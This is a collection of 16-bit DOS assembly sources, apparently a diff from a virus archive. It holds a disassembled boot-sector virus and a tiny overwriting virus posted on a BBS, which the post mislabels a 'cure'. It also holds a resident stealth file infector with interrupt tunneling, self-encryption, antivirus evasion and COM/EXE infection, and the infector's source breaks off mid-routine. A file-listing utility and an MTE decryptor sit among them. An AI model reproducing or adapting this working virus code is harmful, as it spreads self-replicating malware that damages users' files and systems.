PopF
Jmp SkipIntercept ; And go to DOS for print
StoreCharacters:Mov DI,CS:[BufferPtr] ; Set destination
Rep Movsb ; Move characters to buffer
Mov CS:[BufferPtr],DI ; And save new pointer
PopAndReturn: Pop ES ; Pop all the registers
Pop DI
Pop SI
Pop CX
Pop AX
PopF
Mov AX,CX ; Set for COMMAND.COM
Clc ; No error here
Ret 2 ; Return with CY flag cleared
NewInterrupt21 EndP
; Sort Files
; ----------
SortAndList: Push BX ; Push a bunch of registers
Push DX
Push SI
Push DS
Push CS ; Push CS
Pop DS ; so we can set DS to it
Assume DS:CSEG ; And inform the assembler
Mov DI,Offset FileBuffer ; This is the beginning
Mov CX,[FileCounter] ; Number of files to sort
Dec CX ; Loop needs one less than that
Jcxz AllSorted ; But zero means only one file
SortLoop1: Push CX ; Save the file counter
Mov SI,DI ; Set source to destination
SortLoop2: Add SI,39 ; Set source to next file
Push CX ; Save the counter,
Push SI ; compare source,
Push DI ; and compare destination
Mov CX,39 ; 39 characters to compare
Repz Cmpsb ; Do the compare
Jae NoSwitch ; Jump if already in order
Pop DI ; Get back these registers
Pop SI
Push SI ; And push them again for move
Push DI
Mov CX,39 ; 39 characters
SwitchLoop: Mov AL,ES:[DI] ; Character from destination
Movsb ; Source to destination
Mov DS:[SI - 1],AL ; Character to source
Loop SwitchLoop ; For the rest of the line
NoSwitch: Pop DI ; Get back the registers
Pop SI
Pop CX
Loop SortLoop2 ; And loop for next file
Pop CX ; Get back file counter
Add DI,39 ; Compare with next file
Loop SortLoop1 ; And loop again
; Now Display Sorted Files
; ------------------------
AllSorted: Mov SI,Offset FileBuffer ; This is the beginning
Mov CX,[FileCounter] ; Number of files to list
Inc CX ; In case CX is odd
Shr CX,1 ; CX now is number of lines
SetIncrement: Mov BX,24 * 39 ; Increment for double list
Cmp CX,24 ; But use it only if a full
Jae LineLoop ; screen is printed
Mov AX,39 ; Otherwise find increment
Mul CX ; by multiplying CX by 39
Mov BX,AX ; And make that the increment
LineLoop: Call PrintFile ; Print the first column file
Mov AL,' ' ; Skip one space
Call PrintChar ; by printing blank
Mov AL,179 ; Put a line down the middle
Call PrintChar
Mov AL,' ' ; Skip another space
Call PrintChar
Add SI,BX ; Bump up source by increment
Sub SI,39 ; But kick down by 39
Call PrintFile ; Print the second column file
Call CRLF ; And terminate line
Sub SI,BX ; Bring pointer back down
Inc [LineCounter] ; One more line completed
Cmp [LineCounter],24 ; Have we done whole screen?
Jz PauseAtEnd ; If so, gotta pause now
Loop LineLoop ; Otherwise just loop
Jmp Short AllFinished ; And jump out when done
PauseAtEnd: Mov [LineCounter],0 ; Reset the counter
Add SI,BX ; Go to next file
Push BX ; Save these registers
Push CX
Mov DX,Offset PauseMessage ; Test to print
Mov CX,Offset PauseMsgEnd - Offset PauseMessage
; Number of characters
Mov BX,2 ; Standard ERROR Output
Mov AH,40h ; Display to screen
Int 21h ; By calling DOS
Pop CX ; Retrieve pushed registers
Pop BX
Mov AH,8 ; Wait for character
Int 21h ; Through DOS call
Call CRLF ; Go to next line
Loop SetIncrement ; And recalculate increment
AllFinished: Pop DS ; Done with subroutine
Pop SI
Pop DX
Pop BX
Ret ; So return to caller
; Display Routines
; ----------------
PrintChar: Mov DL,AL ; Print character in AL
Mov AH,2 ; By simple DOS call
Int 21h
Ret ; And return
CRLF: Mov AL,13 ; Print a carriage return
Call PrintChar
Mov AL,10 ; And a line feed
Call PrintChar
Ret ; And return
PrintString: Lodsb ; Get character from SI
Call PrintChar ; Print it
Loop PrintString ; Do that CX times
Ret ; And return
PrintFile: Push CX ; Save the counter
Mov CX,32 ; Bytes for Name, Size, & Date
Call PrintString ; Print it
Inc SI ; Skip one space before time
Mov CX,6 ; Bytes for Time
Call PrintString ; It's a print!
Pop CX
Ret ; And return
FileBuffer Label Byte ; Points to end of code
CSEG EndS ; End of segment
End Entry ; Denotes entry point

+284
View File
@@ -0,0 +1,284 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ DEBUG ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 16-Sep-94 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
target EQU 'T3' ; Target assembler: TASM-3.1
include srmacros.inc
; The following equates show data references outside the range of the program.
data_1e equ 6
data_2e equ 0Eh
data_3e equ 417h
data_4e equ 46Eh
data_5e equ 24h
data_6e equ 26h
data_7e equ 4Ch
data_8e equ 4Eh
data_13e equ 413h ;*
data_14e equ 46Eh ;*
data_15e equ 7C00h ;*
data_16e equ 7CD3h ;*
data_18e equ 7D25h ;*
data_19e equ 7DBDh ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
debug proc far
start:
jmp short real_start
;* No entry point to code
nop
push si
inc di
inc cx
inc bx
push ax
db 36h, 30h, 33h, 00h, 02h, 01h
db 01h, 00h, 02h, 70h, 00h, 68h
db 06h,0F9h, 05h, 00h, 0Ah, 00h
db 02h
db 9 dup (0)
db 01h, 00h, 29h,0EDh, 93h, 26h
db 1Dh
db 'NO NAME FAT12 '
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
real_start:
cli ; Disable interrupts
push cs
pop ds
mov ax,ds:data_7e
mov ds:data_16e,ax
mov ax,ds:data_8e
mov word ptr ds:data_16e+2,ax
mov al,ds:data_14e
mov ds:data_19e,al
mov ax,ds:data_13e
dec ax
mov ds:data_13e,ax
mov cl,6
shl ax,cl ; Shift w/zeros fill
sub ax,7C0h
mov ds:data_8e,ax
mov ds:data_6e,ax
mov word ptr ds:data_7e,7C82h
mov word ptr ds:data_5e,7D62h
mov si,data_15e
mov di,si
mov es,ax
mov cx,100h
cld ; Clear direction
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
int 19h ; Bootstrap loader
cmp ah,0AAh
jne loc_1 ; Jump if not equal
iret ; Interrupt return
loc_1:
cmp ah,2
jne loc_4 ; Jump if not equal
cmp cx,1
jne loc_4 ; Jump if not equal
cmp dh,0
jne loc_4 ; Jump if not equal
push ax
push bx
push si
push di
pushf ; Push flags
call dword ptr cs:data_16e
jnc loc_2 ; Jump if carry=0
jmp short loc_5
loc_2:
cmp word ptr es:[1FEh][bx],0AA55h
je loc_3 ; Jump if equal
jmp short $+29h
db 26h, 80h,0BFh,0BCh, 01h,0C9h
db 74h, 7Ah,0E8h, 8Bh, 00h,0E8h
data_10 db 31h ; Data table (indexed access)
db 00h, 8Bh,0F3h, 80h,0FAh, 79h
db 77h, 1Eh, 83h,0C6h, 02h,0BFh
db 02h, 7Ch,0B9h, 1Eh, 00h, 32h
db 0F6h,0EBh, 30h,0EAh, 85h,0A5h
db 00h,0F0h
db 0B8h, 01h, 00h,0F8h
loc_5:
pop di
pop si
pop bx
inc sp
inc sp
retf 2 ; Return far
loc_6:
add si,1BEh
mov di,7DBEh
mov cx,20h
jmp short $+15h
debug endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov ax,301h
pushf ; Push flags
call dword ptr cs:data_16e
jnc loc_ret_7 ; Jump if carry=0
pop bx
mov cl,1
xor dh,dh ; Zero register
jmp short $-28h
loc_ret_7:
retn
sub_1 endp
;* No entry point to code
push ds
push es
pop ds
push cs
pop es
cld ; Clear direction
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov cx,1
mov bx,7C00h
mov ax,301h
pushf ; Push flags
call dword ptr cs:data_16e
jc $-0Fh ; Jump if carry Set
push ds
pop es
inc byte ptr cs:data_19e
pop ds
jmp short $-4Ch
;* No entry point to code
add ax,714h
sbb al,1
or al,75h ; 'u'
push ss
sbb ax,1610h
push ds
db 0FFh
loc_8:
call sub_2
pop di
pop si
pop bx
pop ax
pushf ; Push flags
call dword ptr cs:data_16e
xor dh,dh ; Zero register
mov cl,1
retf 2 ; Return far
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
cmp dl,79h ; 'y'
ja loc_10 ; Jump if above
mov ax,es:[bx+16h]
mov dh,1
cmp al,3
jae loc_9 ; Jump if above or =
mov cl,3
retn
loc_9:
cmp al,7
jae loc_10 ; Jump if above or =
mov cl,5
retn
loc_10:
mov cl,0Eh
retn
sub_2 endp
;* No entry point to code
push ax
push ds
xor ax,ax ; Zero register
mov ds,ax
mov al,ds:data_3e
and al,0Ch
cmp al,0Ch
jne loc_11 ; Jump if not equal
in al,60h ; port 60h, keybd scan or sw1
cmp al,53h ; 'S'
jne loc_11 ; Jump if not equal
in al,61h ; port 61h, 8255 port B, read
push ax
or al,80h
out 61h,al ; port 61h, 8255 B - spkr, etc
pop ax
out 61h,al ; port 61h, 8255 B - spkr, etc
; al = 0, disable parity
mov ax,2
int 10h ; Video display ah=functn 00h
; set display mode in al
mov al,20h ; ' '
out 20h,al ; port 20h, 8259-1 int command
; al = 20h, end of interrupt
int 19h ; Bootstrap loader
loc_11:
mov al,ds:data_4e
mov ds:data_1e,ax
mov ds:data_2e,ax
push cs
pop ds
cmp al,ds:data_19e
jbe $+1Ah ; Jump if below or =
xor ax,ax ; Zero register
int 10h ; Video display ah=functn 00h
; set display mode in al
mov si,data_18e
loc_12:
mov ah,0Eh
xor bx,bx ; Zero register
cld ; Clear direction
lodsb ; String [si] to al
cmp al,0FFh
je loc_13 ; Jump if equal
xor al,55h ; 'U'
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_12
loc_13:
hlt ; Halt processor
pop ds
pop ax
jmp far ptr $-1930h
db 0C9h, 0Fh, 80h, 01h, 01h, 00h
db 06h, 0Eh,0E2h,0E7h, 22h, 00h
db 00h, 00h, 0Eh,0C8h, 07h
db 49 dup (0)
db 55h,0AAh
seg_a ends
end start
+235
View File
@@ -0,0 +1,235 @@
;DECOM - has few safety features right now, be careful =)
.model tiny
.radix 16
.code
org 100
include wolf.lib
start:
printf intro, ds
Release_Memory:
mov bx,(end_unmte-start+10f)/10 ;Release all but what
changealloc bx,es ;our prog needs.
Allocate_Block_For_MTE_Prog: ;Allocate memory for
mov bx,1000 ;MTE-inf prog.
alloc bx
jnc Memory_Good
jmp exit
Memory_Good:
push ax
Get_Filenames:
printf Enter_FN, ds
gets filename_buf, ds, 30
printf Enter_DN, ds
gets unenc_buf, ds, 30
Open_Prog:
fopen 0, filename, cs
jnc Load_Prog
printf Bad_File, ds
jmp Get_Filenames
Load_Prog:
pop ax
sub ax,10
mov ds,ax ;Convert Seg:0 to Seg:100
fread bx, 0ffff, 100, ax
mov cs:[MTE_Size],ax
mov cs:[MTE_Segment],ds
Close_Prog:
fclose bx
Setup_Trace:
push ds ds
mov byte ptr cs:[Success],1
push cs
pop ds
get_int 1
mov word ptr [IP_01],bx
mov word ptr [CS_01],es
set_int 1, Int_01_Handler, ds
pop ds es ;restore segment regs to MTE prog
cli
mov ax,ds
mov ss,ax ;setup new stack
mov sp,0fffe
sti
xor ax,ax
mov bx,ax
mov cx,ax
mov dx,ax ;Zero all registers
mov si,ax
mov di,ax
mov bp,ax
pushf ;Setup stack for IRET to code
pop ax
or ax,100
push ax ;Set flag on IRET
push ds
mov ax,100
push ax
xor ax,ax
iret ;Jump to MTE prog with trap set.
Done_Trace:
push cs cs
pop es ds ;restore seg regs
cli
mov ax,ds
mov ss,ax ;reset stack
mov sp,0fffe
sti
Restore_Int_01:
mov dx, word ptr cs:[CS_01]
mov ds,dx
mov dx, word ptr cs:[IP_01]
set_int 1, dx, ds
push cs
pop ds
cmp byte ptr cs:[Success],0
jne Save_It
printf halted, ds
jmp Exit
Save_It:
mov ah,3c
xor cx,cx
mov dx,offset Unencrypted
int 21
xchg bx,ax
mov ah,40
mov dx,word ptr cs:[MTE_Segment]
mov ds,dx
mov dx,100
mov cx,word ptr cs:[MTE_Size]
int 21
mov ah,3e
int 21
Exit:
terminate
Int_01_Handler:
push bp
mov bp,sp
push ax bx cx dx es ds si di
mov bx, word ptr ss:[bp+4] ;CS
mov ds,bx
mov bx,word ptr ss:[bp+2] ;IP
mov ax,word ptr ss:[bp+6] ;flags
and ax,40
cmp byte ptr ds:[bx],0cdh ;Interrupt call
je Stop_Execution
cmp byte ptr ds:[bx],9a ;Far Call
je Stop_Execution
cmp byte ptr ds:[bx],9c ;Pushf
je Stop_Execution
ES_DS_CHeck:
push bx
mov bx,ds
cmp word ptr ds:[bp-0c],bx ;CS != DS
jne Done_Check
cmp word ptr ds:[bp-0a],bx ;CS != ES
Done_Check:
pop bx
jne Stop_Execution
Check_For_Encryption_Loop:
cmp byte ptr ds:[bx],75 ;Check if JNZ (end of MTE decrypt)
je Is_JNZ
cmp byte ptr ds:[bx],74 ;Check for other loop jumps..
je Is_JZ
cmp byte ptr ds:[bx],0e0
je Is_LOOPNZ
cmp byte ptr ds:[bx],0e1
je Is_LOOPZ
cmp byte ptr ds:[bx],0e2
je Is_LOOP
Continue_Decrypt:
Done_Int_01_Handler:
pop di si ds es dx cx bx ax
pop bp
iret
Stop_Execution:
mov byte ptr cs:[Success],0
jmp Done_Trace
Is_LOOPNZ:
Is_JNZ:
or ax,ax
jz Jump_True
jmp Jump_False
Is_LOOPZ:
Is_JZ:
or ax,ax
jz Jump_False
jmp Jump_True
Is_LOOP:
dec cx
jz Jump_False
jmp Jump_True
Jump_False:
cmp byte ptr ds:[bx+1], 80
jae Done_Decrypt
jmp Continue_Decrypt
Jump_True:
cmp byte ptr ds:[bx+1],80
;jae Continue_Decrypt
jmp Continue_Decrypt ;MTE only... change later
Done_Decrypt:
jmp Done_Trace
IP_01 dw 0
CS_01 dw 0
MTE_Segment dw 0
MTE_Size dw 0
Success db 0
halted db 0a,0dh,'Sorry, cannot decrypt file safely.',0
intro db 'DECOM 0.9á, COM (MTE) File Decryptor (c) 1993 Black Wolf.',0a,0dh
db 'Beta-Test Version, Use At Your Own Risk.',0
Enter_FN db 0a,0dh,'Please Enter Source Filename: ',0
Enter_DN db 0a,0dh,'Now Enter The Destination Filename: ',0
Bad_File db 0a,0dh,'Sorry, file not found.',0
filename_buf db ?,?
filename db 30 dup(?)
unenc_buf db ?,?
unencrypted db 30 dup(?)
end_unmte:
end start
@@ -0,0 +1,67 @@
;===========================================================================
;Date: 05-24-91 (0:06) Number: 6288 THE APEX BBS
;From: Mike Hathorn Refer#: NONE
;To: All Recvd: NO
;Subj: define Conf: (54) Virus
;---------------------------------------------------------------------------
;Gentlemen,
;The following assembly source code is the cure for the define
;virus. Define, because it is my belief that by the definition
;of a virus, no stable virus can be written smaller than define.
; Code compiled under MASM ver 4.00
; Use DOS EXE2BIN to convert to .COM file
; Code assumes SI=100h, AX=00h
; (c) 1991 Mithrandir
TITLE DEFINE
CODE SEGMENT
ASSUME CS : CODE
ORG 100h
VIRUS_CURE:
XCHG CX,AX ;exchange register values and setup search
;for normal files
MOV AH,4Eh ;setup search for first match
MOV DX,OFFSET File ;point to search criteria
INT 21h ;search for any normal file
MOV AX,3D01h ;setup open file with write access
MOV DX,09Eh ;point to file ASCIIZ spec
INT 21h ;open file
XCHG BX,AX
MOV AH,40h ;setup write to file
MOV DX,SI ;write this code
MOV CX,SI ;this many bytes
INT 21h ;write it
RET
File:
DB '*.*',0
CODE ENDS
END VIRUS_CURE
;Mithrandir
;--- Opus-CBCS 1.14
;* Origin: The Mad Dog Opus (5:7104/3.0)
+960
View File
@@ -0,0 +1,960 @@
; =======================================================================>
PING equ 0BF1h ; a worthless DOS function
PONG equ 0DEAFh ; response to residency test
code segment
org 100h
assume cs:code,ds:code
start:
jmp virus_begin ; fake host program
db 26 dup (0)
virus_begin:
db 0BBh ; mov bx,
code_offset dw 0
db 0B0h ; mov al,
cipher db 0
decrypt:
db 02Eh ; cs:
decryptor_1: xor [bx],al
inc bx
shift_1: neg al
db 81h,0FBh ; cmp bx,
code_offset_2 dw 0
jbe decrypt
viral_code:
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
push ds es ; save segregs
jmp kill_sourcer ; mess with disassemblers
db 0E9h
kill_sourcer:
xor ah,ah ; create or delete the
int 1Ah ; \DEI.COM file at random
cmp dx,0FE00h ; times ...
jb dont_drop
call drop_program
jmp dont_delete
dont_drop:
cmp dx,0800h
ja dont_delete
call delete_program
dont_delete:
mov ax,PING ; residency test
int 21h
cmp bx,PONG ; if installed,
jne not_installed ; don't install again
jmp installed
not_installed:
mov ax,es ; install ourselves
dec ax ; in memory
mov ds,ax
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
mov ax,ds:[12h] ; doing some calculations and
mov ds,ax ; a bit of manipulation to
sub ax,15 ; memory
mov es,ax ; ES points to our destiny
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],8
mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
push cs ; zopy it
pop ds
mov di,100h
mov cx,virus_end - start
lea si,[bp + start]
rep movsb
xor ax,ax
mov ds,ax
sub word ptr ds:[413h],7 ; allocate memory from BIOS
mov si,21h * 4 ; saving old interrupt 21
mov di,offset old_int_21 ; first
movsw
movsw
lea dx,[bp + int_1]
mov ds:[4],dx ; recursive tunneling -
mov ds:[6],cs ; trace through interrupt 21
push es
mov ah,52h ; get list of lists
int 21h ; for segment of DOS's int 21
mov ax,es
mov cs:[bp + int_21_seg],ax
pop es
mov [bp + our_es],es
mov ax,100h ; set trap flag
push ax
popf
mov ah,0Bh ; and send us down the tunnel
pushf
call dword ptr ds:[21h * 4]
xor ax,ax ; turn off trap flag
push ax
popf
mov word ptr ds:[si - 4],0 ; little anti-trace ...
mov ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new interrupt 21
installed:
pop es ds
cmp cs:[bp + exe_flag],1 ; is this an .EXE file?
je exe_exit ; if so, exit as such
com_exit:
lea si,[bp + offset host] ; restore original header
mov di,100h
push di
mov cx,28
rep movsb
call reset_regs
ret ; and leave
exe_exit:
mov ax,ds
add ax,cs:[bp + exe_cs]
mov word ptr cs:[bp + jump_to + 2],ax
mov ax,cs:[bp + exe_ip]
mov word ptr cs:[bp + jump_to],ax
mov ax,ds
add ax,cs:[bp + exe_ss] ; restore original stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call reset_regs ; reset registers
db 0EAh
jump_to dd 0
reset_regs:
mov si,100h
xor ax,ax
xor bx,bx
xor di,di
xor bp,bp
ret
; int 1 handler for tunneling.
int_21_seg dw 0 ; original int 21 segment
our_es dw 0 ; our ES
int_1:
push bp ; save registers used
mov bp,sp
push ax
mov ax,[bp + 4] ; SEGMENT of next instruction
push bp
call get_dest_seg ; get location pointer
get_dest_seg:
pop bp
cmp ax,cs:[bp - (get_dest_seg - int_21_seg)]
pop bp ; restore BP
jbe tunneled ; found, we're through
push ds si ; no, check next instruction
mov ds,ax
mov si,[bp + 2] ; OFFSET of next instruction
lodsb ; next instruction in AL
cmp al,0CFh ; IRET instruction?
je set_iret ; adjust accordingly
cmp al,09Dh ; POPF instruction?
je set_popf ; adjust
jmp flag_check_done ; never mind ...
tunneled: ; we're done ... save segment
push es si
call get_our_es
get_our_es:
pop si
mov si,cs:[si - (get_our_es - our_es)]
mov es,si
mov word ptr es:[old_int_21 + 2],ax
mov ax,[bp + 2] ; and offset
mov word ptr es:[old_int_21],ax
and [bp + 6],0FEFFh ; deinstall tunnel routine
pop si es
jmp exit
set_iret:
or [bp + 10],100h ; OFFSET of second interrupt
jmp flag_check_done ; call on stack (flags)
set_popf:
or [bp + 6],100h ; OFFSET of word before
; interrupt call on stack
flag_check_done:
pop si ds
exit:
pop ax bp
iret
; int 24 handler.
; DOS changes it back automatically.
new_int_24:
mov al,3 ; simple enough
iret
; ================================================>
; int 21 handler.
; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h
; ================================================>
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; are we checking on ourself?
je pass_signal ; yes, give the signal
cmp ax,4B00h ; program execution?
je execute ; uh - huh
cmp ah,11h ; directory stealth method 1
je dir_stealth_1 ; (hide from DIR listing)
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh ; directory stealth method 2
je dir_stealth_2 ; (hide from ASCIIZ search)
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh ; file open method 1
jne go_on
jmp file_open
go_on:
cmp ah,6Ch ; file open method 2
jne go_on_2
jmp file_open
go_on_2:
cmp ah,3Fh ; file read
jne go_on_3
jmp file_read
go_on_3:
cmp ax,5700h ; get date
jne int_21_exit
jmp fix_date
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
pass_signal:
mov bx,PONG ; pass signal
jmp int_21_exit
execute:
call check_name
jc skip_infect ; don't infect if marked
call infect_ds_dx ; simple enough ...
skip_infect:
jmp int_21_exit
dir_stealth_1:
call int_21 ; do it
test al,al ; if al = -1
js cant_find ; then don't bother
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 19h]
cmp ah,100 ; check years -
jb fixed ; if 100+, infected
ror ah,1
sub ah,100
rol ah,1
mov es:[bx + 19h],ax
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
cant_find:
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
mov ax,es:[bx + 18h]
cmp ah,100 ; check for infection marker
jb fixed_2
ror ah,1 ; fix up date
sub ah,100
rol ah,1
mov es:[bx + 18h],ax
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
file_open:
call try_infecting ; try to infect file
call int_21 ; open file
jc open_fail ; carry set, open failed
cmp ax,5 ; if handle is a device,
jb dont_bother ; don't bother with it
push ax bx di es
xchg ax,bx
push bx
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; check datestamp
jb dont_stealth
cmp word ptr es:[di],1 ; if file has already
ja dont_stealth ; been opened, don't stealth
sub es:[di + 11h],VIRUS_SIZE + 28
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
; size
dont_stealth:
pop es di bx ax ; restore everything
dont_bother:
clc
open_fail:
retf 2 ; and return
file_read:
cmp bx,5 ; if read from device,
jae check_it_out ; don't bother
jmp forget_it
check_it_out:
push si di es ax bx cx
push bx
mov ax,1220h ; get SFTs
int 2Fh
nop
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; 100+ years
jae check_pointer ; is the magic number
jmp no_read_stealth
check_pointer:
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
je check_pointer_2 ; then skip it
jmp no_read_stealth
check_pointer_2:
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
jae no_read_stealth ; then DON'T
push es:[di + 15h] ; save it
mov ah,3Fh
call int_21 ; do the read function
pop cx ; now find how many bytes
push ax ; (Save AX value)
sub cx,28 ; we have to change ...
neg cx ; and where
cmp ax,cx ; if more than 28 were read,
jae ok ; ok
xchg ax,cx ; otherwise, switch around
ok:
push ds cx dx
push es:[di + 15h] ; save current file pointer
push es:[di + 17h]
add es:[di + 11h],VIRUS_SIZE + 28
adc word ptr es:[di + 13h],0
mov ax,es:[di + 11h] ; fix up file size to prevent
sub ax,28 ; read past end of file
mov es:[di + 15h],ax
mov ax,es:[di + 13h]
mov es:[di + 17h],ax
push cs ; now read in real first 28
pop ds ; bytes
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh
call int_21
sub es:[di + 11h],VIRUS_SIZE + 28
sbb word ptr es:[di + 13h],0
pop es:[di + 17h] ; restore file pointer
pop es:[di + 15h]
pop dx cx ds ; now we move our 28 bytes
push ds ; into theirs ...
pop es
mov di,dx
mov si,offset read_buffer
push cs
pop ds
rep movsb ; done
push es ; restore DS
pop ds
pop ax
pop cx bx es es di si
clc
retf 2
no_read_stealth:
pop cx bx ax es di si
forget_it:
jmp int_21_exit
fix_date:
call int_21 ; get date
jc an_error
cmp dh,100 ; if years > 100,
jb date_fixed ; fix it up
ror dh,1
sub dh,100
rol dh,1
date_fixed:
iret
an_error:
retf 2
; Called routines
; this routine checks for a .COM or .EXE file
try_infecting:
push di es cx ax
cmp ax,6C00h ; extended open fix
jne get_ext
xchg dx,si
get_ext:
mov di,dx ; find program extension
push ds
pop es
mov cx,64
mov al,'.'
repnz scasb
pop ax
jcxz let_it_be ; ... "ecch" ...
cmp [di],'OC' ; .COM file?
jne perhaps_exe ; maybe .EXE, then
cmp byte ptr [di + 2],'M'
jne let_it_be ; not program, don't infect
jmp yes_infect_it
perhaps_exe:
cmp [di],'XE' ; .EXE file?
jne one_more_try ; maybe ... .OVL?
cmp byte ptr [di + 2],'E'
jne let_it_be
jmp yes_infect_it
one_more_try:
cmp [di],'VO' ; .OVL file?
jne let_it_be
cmp byte ptr [di + 2],'L'
jne let_it_be
yes_infect_it:
call check_name ; don't infect forbidden
jc let_it_be ; programs
call infect_ds_dx
let_it_be:
cmp ah,6Ch ; extended open fixup
jne get_out
xchg dx,si
get_out:
pop cx es di
ret
; this routine checks the filename at DS:DX for certain 'bad' programs
check_name:
push ax cx es di
push ds ; find extension
pop es
mov di,dx
mov cx,64
mov al,'.'
repnz scasb
cmp word ptr [di - 3],'NA' ; SCAN or TBSCAN
jne pass_1
cmp word ptr [di - 5],'CS'
je av_prog
pass_1:
cmp word ptr [di - 3],'TO' ; Frisk's F-PRoT
jne pass_2
cmp word ptr [di - 5],'RP'
je av_prog
pass_2:
cmp word ptr [di - 3],'DN' ; COMMAND.COM
jne pass_3 ; ("Bad or Missing," etc.)
cmp word ptr [di - 5],'AM'
je av_prog
pass_3:
cmp word ptr [di - 5],'SA' ; MS-DOS's QBASIC
jne pass_4 ; ("Packed file is corrupt")
cmp word ptr [di - 7],'BQ'
je av_prog
pass_4:
clc ; passed the test
jmp check_complete
av_prog:
stc ; ack! *GAG* *boo* *hiss*
check_complete:
pop di es cx ax
ret
; this routine infects the file at DS:DX
infect_ds_dx:
push ax bx cx dx si di ds es
in al,21h ; some anti-trace
xor al,2
out 21h,al
xor al,2
out 21h,al
mov ax,3D00h ; read-only ... we'll change
call int_21 ; it later, but it won't trip
jnc hook_24 ; some AV monitors
jmp cant_open
hook_24:
xor bx,bx ; hook int 24h
mov ds,bx ; prevent write protect errors
mov ds:[24h * 4],offset new_int_24
mov ds:[24h * 4 + 2],cs
xchg bx,ax ; get system file tables
push bx
mov ax,1220h
int 2Fh
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; if already infected,
jae dont_infect ; don't do it again
mov word ptr es:[di + 2],2 ; change mode to R/W
push cs ; read in 28 bytes of
pop ds ; our potential host ...
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh ; (carefully avoiding
call int_21 ; our stealth routine)
cmp word ptr read_buffer,'ZM'
je infect_exe ; if .EXE, infect as one
mov exe_flag,0 ; infect as .COM
mov ax,es:[di + 11h] ; get file size
cmp ax,65279 - VIRUS_SIZE + 28
ja dont_infect ; don't infect; too big
cmp ax,28
jb dont_infect ; don't infect; too small
mov es:[di + 15h],ax ; move to end of file
; (I just love the SFTs ...)
call encrypt_and_write_virus ; encrypt the virus code
; then write it to the file
mov dx,offset read_buffer ; store original
mov cx,28 ; header
mov ah,40h
call int_21
mov word ptr es:[di + 15h],0 ; and lastly, back to
; the beginning of the file
mov dx,offset new_header ; to add the new header
mov ah,40h
